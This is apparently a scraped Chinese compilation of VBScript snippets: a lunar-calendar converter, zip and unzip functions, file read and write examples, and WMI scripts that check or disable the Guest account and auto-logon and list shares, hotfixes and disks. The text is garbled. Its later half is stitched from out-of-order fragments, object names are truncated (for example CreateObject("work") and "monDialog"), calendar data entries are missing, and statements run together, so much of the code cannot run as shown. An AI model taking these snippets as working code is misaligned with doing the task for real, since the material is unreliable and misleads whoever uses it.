DayName(1) = "初一" DayName(2) = "初二" DayName(3) = "初三" DayName(4) = "初四" DayName(5) = "初五" DayName(6) = "初六" DayName(7) = "初七" DayName(8) = "初八" DayName(9) = "初九" DayName(10) = "初十" DayName(11) = "十一" DayName(12) = "十二" DayName(13) = "十三" DayName(14) = "十四" DayName(15) = "十五" DayName(16) = "十六" DayName(17) = "十七" DayName(18) = "十八" DayName(19) = "十九" DayName(20) = "二十" DayName(21) = "廿一" DayName(22) = "廿二" DayName(23) = "廿三" DayName(24) = "廿四" DayName(25) = "廿五" DayName(26) = "廿六" DayName(27) = "廿七" DayName(28) = "廿八" DayName(29) = "廿九" DayName(30) = "三十" '农历月份名MonName(0) = "*" MonName(1) = "正" MonName(2) = "二" MonName(3) = "三" MonName(4) = "四" MonName(5) = "五" MonName(6) = "六" MonName(7) = "七" MonName(8) = "八" MonName(9) = "九" MonName(10) = "十" MonName(11) = "十一" MonName(12) = "腊"'公历每月前面的天数MonthAdd(0) = 0 MonthAdd(1) = 31 MonthAdd(2) = 59 MonthAdd(3) = 90 MonthAdd(4) = 120 MonthAdd(5) = 151 MonthAdd(6) = 181 MonthAdd(7) = 212 MonthAdd(8) = 243 MonthAdd(9) = 273 MonthAdd(10) = 304 MonthAdd(11) = 334'农历数据NongliData(0) = 2635 NongliData(1) = 333387 NongliData(2) = 1701 NongliData(3) = 1748 NongliData(4) = 267701 NongliData(5) = 694 NongliData(6) = 2391 NongliData(7) = 133423 NongliData(8) = 1175 NongliData(9) = 396438 NongliData(10) = 3402 NongliData(11) = 3749 NongliData(12) = 331177 NongliData(13) = 1453 NongliData(14) = 694 NongliData(15) = 201326 NongliData(16) = 2350NongliData(18) = 3221 NongliData(19) = 3402 NongliData(20) = 400202 NongliData(21) = 2901 NongliData(22) = 1386 NongliData(23) = 267611 NongliData(24) = 605 NongliData(25) = 2349 NongliData(26) = 137515 NongliData(27) = 2709 NongliData(28) = 464533 NongliData(29) = 1738 NongliData(30) = 2901 NongliData(31) = 330421 NongliData(32) = 1242 NongliData(33) = 2651 NongliData(34) = 199255 NongliData(35) = 1323 NongliData(36) = 529706 NongliData(37) = 3733 NongliData(38) = 1706 NongliData(39) = 398762 NongliData(40) = 2741 NongliData(41) = 1206 NongliData(42) = 267438 NongliData(43) = 2647 NongliData(44) = 1318 NongliData(45) = 204070 NongliData(46) = 3477 NongliData(47) = 461653 NongliData(48) = 1386 NongliData(49) = 2413 NongliData(50) = 330077 NongliData(51) = 1197 NongliData(52) = 2637 NongliData(53) = 268877 NongliData(54) = 3365 NongliData(55) = 531109 NongliData(56) = 2900 NongliData(57) = 2922 NongliData(58) = 398042 NongliData(59) = 2395 NongliData(60) = 1179NongliData(62) = 2635NongliData(63) = 661067NongliData(64) = 1701NongliData(65) = 1748NongliData(66) = 398772NongliData(67) = 2742NongliData(68) = 2391NongliData(69) = 330031NongliData(70) = 1175NongliData(71) = 1611NongliData(72) = 200010NongliData(73) = 3749NongliData(74) = 527717NongliData(75) = 1452NongliData(76) = 2742NongliData(77) = 332397NongliData(78) = 2350NongliData(79) = 3222NongliData(80) = 268949NongliData(81) = 3402NongliData(82) = 3493NongliData(83) = 133973NongliData(84) = 1386NongliData(85) = 464219NongliData(86) = 605NongliData(87) = 2349NongliData(88) = 334123NongliData(89) = 2709NongliData(90) = 2890NongliData(91) = 267946NongliData(92) = 2773NongliData(93) = 592565NongliData(94) = 1210NongliData(95) = 2651NongliData(96) = 395863NongliData(97) = 1323NongliData(98) = 2707NongliData(99) = 265877'生成当前公历年、月、日 ==> GongliStr curYear = Year(curTime)curMonth = Month(curTime)curDay = Day(curTime)GongliStr = curYear & "年"If (curMonth < 10) ThenGongliStr = GongliStr & "0" & curMonth & "月"ElseGongliStr = GongliStr & curMonth & "月"End IfIf (curDay < 10) ThenGongliStr = GongliStr & "0" & curDay & "日"ElseGongliStr = GongliStr & curDay & "日"End If'生成当前公历星期 ==> WeekdayStrcurWeekday = Weekday(curTime)WeekdayStr = WeekName(curWeekday)'计算到初始时间1921年2月8日的天数:1921-2-8(正月初一)TheDate = (curYear - 1921) * 365 + Int((curYear - 1921) / 4) + curDay + MonthAdd(curMonth - 1) - 38If ((curYear Mod 4) = 0 And curMonth > 2) ThenTheDate = TheDate + 1End If'计算农历天干、地支、月、日isEnd = 0m = 0DoIf (NongliData(m) < 4095) Thenk = 11Elsek = 12End Ifn = kDoIf (n < 0) ThenExit DoEnd If'获取NongliData(m)的第n个二进制位的值bit = NongliData(m)For i = 1 To n Step 1bit = Int(bit / 2)Nextbit = bit Mod 2If (TheDate <= 29 + bit) ThenisEnd = 1Exit DoEnd IfTheDate = TheDate - 29 - bitn = n - 1LoopIf (isEnd = 1) ThenExit DoEnd Ifm = m + 1LoopcurYear = 1921 + mcurMonth = k - n + 1curDay = TheDateIf (k = 12) ThenIf (curMonth = (Int(NongliData(m) / 65536) + 1)) ThencurMonth = 1 - curMonthElseIf (curMonth > (Int(NongliData(m) / 65536) + 1)) ThencurMonth = curMonth - 1End IfEnd If'生成农历天干、地支、属相 ==> NongliStrNongliStr = "农历" & TianGan(((curYear - 4) Mod 60) Mod 10) &DiZhi(((curYear - 4) Mod 60) Mod 12) & "年"NongliStr = NongliStr & "(" & ShuXiang(((curYear - 4) Mod 60) Mod 12) & ")"'生成农历月、日 ==> NongliDayStrIf (curMonth < 1) ThenNongliDayStr = "闰" & MonName(-1 * curMonth)ElseNongliDayStr = MonName(curMonth)End IfNongliDayStr = NongliDayStr & "月"NongliDayStr = NongliDayStr & DayName(curDay)nl = NongliStr & NongliDayStrEnd Functionmsgbox nl</script>vbs实现显示系统调色板的代码:set ie = createobject("internetexplorer.application")ie.navigate "about:blank"do until ie.readystate = 4 : wscript.sleep 25 : loopset doc = ie.documentset body = doc.bodyset win = doc.parentwindowbody.innerhtml = "<OBJECT id=dlgCLASSID='clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b'></OBJECT>"body.innertext = doc.getElementById("dlg").choosecolordlg win.clipboarddata.setdata "text", body.innertextie.quit用vbs实现zip功能的脚本:压缩:Function fZip(sSourceFolder,sTargetZIPFile)'This function will add all of the files in a source folder to a ZIP file 'using Windows' native folder ZIP capability.Dim oShellApp, oFSO, iErr, sErrSource, sErrDescriptionSet oShellApp = CreateObject("Shell.Application")Set oFSO = CreateObject("Scripting.FileSystemObject")'The source folder needs to have a \ on the EndIf Right(sSourceFolder,1) <> "\" Then sSourceFolder = sSourceFolder & "\" On Error Resume Next'If a target ZIP exists already, delete itIf oFSO.FileExists(sTargetZIPFile) Then oFSO.DeleteFile sTargetZIPFile,TrueiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Write the fileheader for a blank zipfile.oFSO.OpenTextFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6) & String(18, Chr(0))iErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd IfOn Error Resume Next'Start copying files into the zip from the source folder. Space(sTargetZIPFile).CopyHereSpace(sSourceFolder).ItemsiErr = Err.NumbersErrSource = Err.SourcesErrDescription = Err.DescriptionOn Error GoTo 0If iErr <> 0 ThenfZip = Array(iErr,sErrSource,sErrDescription)Exit FunctionEnd If'Because the copying occurs in a separate process, the script will just continue. Run a DO...LOOP to prevent the function'from exiting until the file is finished zipping.Do Until Space(sTargetZIPFile).Items.Count = Space(sSourceFolder).Items.CountWScript.Sleep 1500'如果不成功,增加一下秒数LoopfZip = Array(0,"","")End FunctionCall fZip ("C:\vbs","c:\vbs.zip")解压缩:Function fUnzip(sZipFile,sTargetFolder)'Create the Shell.Application objectDim oShellApp:Set oShellApp = CreateObject("Shell.Application")'Create the File System objectDim oFSO:Set oFSO = CreateObject("Scripting.FileSystemObject")'Create the target folder if it isn't already thereIf Not oFSO.FolderExists(sTargetFolder) Then oFSO.CreateFolder sTargetFolder'Extract the files from the zip into the folderSpace(sTargetFolder).CopyHereSpace(sZipFile).Items'This is a seperate process, so the script would continue even if the unzipping is not done'To prevent this, we run a DO...LOOP once a second checking to see if the number of files'in the target folder equals the number of files in the zipfile. If so, we continue.DoWScript.Sleep 1000‘有时需要更改Loop While oFSO.GetFolder(sTargetFolder).Files.Count <Space(sZipFile).Items.CountEnd Function非常棒的lcx写的非常规运行vbs :vbs有一个对像是“SAPI.SpVoice”,可以用它来讲英语的这个组件在xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。

vbs实例

vbs实例

1、VBS改写、追加文件Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",2,True) '1表示只读,2表示可写,8表示追加openFile.Write "Hello World!"openFile.Close2、VBS读取文件ReadAll 读取全部Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.ReadAll)3、VBS读取文件ReadLine 读取一行Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.ReadLine())MsgBox(openFile.ReadLine()) '如果读取行数超过文件的行数,就会出错4、VBS读取文件Read 读取n个字符Dim fso,openFileSet fso=CreateObject("Scripting.FileSystemObject")Set openFile=fso.OpenTextFile("C:\test.txt",1,True)MsgBox(openFile.Read(2)) '如果超出了字符数,不会出错。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
NL=NL & vbcrlf &
next
Wscript.Echo NL
14 我怎么向用户显示一个用来选择文件的对话框?
问:
嗨,Scripting Guy!有没有什么方法能让我使用脚本向用户显示一个对话框,供用户选择文件使用?
-- BF
答:
你好,BF。如果你使用的是 视窗系统 2000,我们不知道实现此操作的方法,至少操作系统中没有内置这
strValueName = "AutoAdminLogon"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName, dwValue
10 检查Guest是否禁用
Set objNetwork = CreateObject("work")
strComputer = "."
Set objReg=GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
strKeyPath = "Software\Microsoft\视窗系统 NT\CurrentVersion\WinLogon"
and Settings\\Administrator\\桌面\\’ AND Drive = ’E:’ AND Extension = ’txt’")
Wscript.Echo "Number of .txt files found: " & colFiles.Count
for each aa in colFiles
Wscript.Echo "Name: " &
Wscript.Echo "Path: " & objShare.Path
Wscript.Echo "Type: " & objShare.Type
Next
13 脚本检索一个目录下.txt文件 汗哦 值得学习
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."
End If
12 检索本地共象
strComputer = "."
Else
Wscript.Echo "The Guest account is enabled."
End If
11 关闭Guest
Set objNetwork = CreateObject("work")
strComputer = puterName
objDialog.Filter = "All Files|*.*" objDialog.InitialDir = "C:\" intResult =
objDialog.ShowOpen
If intResult = 0 Then Wscript.Quit Else Wscript.Echo objDialog.FileName End If
Set colDisks = objWMIService.ExecQuery("Select * from Win32_LogicalDisk Where DriveType =
3")
For Each objDisk in colDisks
Wscript.Echo "Disk drive: "& objDisk.DeviceID & " -- " & objDisk.FileSystem
Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For Each strAddress in IPConfig.IPAddress
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colShares = objWMIService.ExecQuery("Select * from Win32_Share")
For each objShare in colShares
Next
8 检测自动登录是否开启
Const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set objReg=GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
WScript.Echo strAddress
Next
End If
Next
2 取得本机计算机名
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
样的方法。但如果你使用的是 视窗系统
“monDialog”对象向用户显示一个标准的“文件打开”对话框。能用类似以下代码
的脚本:
Set objDialog = CreateObject("monDialog")
strKeyPath = "Software\Microsoft\视窗系统 NT\CurrentVersion\WinLogon"
strValueName = "AutoAdminLogon"
objReg.GetDWORDValue HKEY_LOCAL_MACHINE, strKeyPath, strValueName,dwValue
For Each objUser in objGroup.Members
Wscript.Echo
Next
7 磁盘系统
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Next
5 检查 Hot Fix
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colQuickFixes = objWMIService.ExecQuery ("Select * from Win32_QuickFixEngineering")
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is already disabled."
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colFiles = objWMIService.ExecQuery("SELECT * FROM CIM_DataFile WHERE Path = ’\\Documents
这是个小脚本,所以让我们逐行进行解释吧。我们首先创建一个对 monDialog 对象
的对象引用(名为“objDialog”)。接着,我们设置对话框的“筛选”属性。我们要显示所有文件,所
以我们将筛选设置成这样:
objDialog.Filter = "All Files|*.*"
strComputer = puterName
Set objUser = GetObject("WinNT://" & strComputer & "/Guest")
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is disabled."
If dwValue = 1 Then
Wscript.Echo "Auto logon is enabled."
Else
Wscript.Echo "Auto logon is disabled."
End If
9 关闭自动登录
Const HKEY_LOCAL_MACHINE = &H80000002
相关文档
最新文档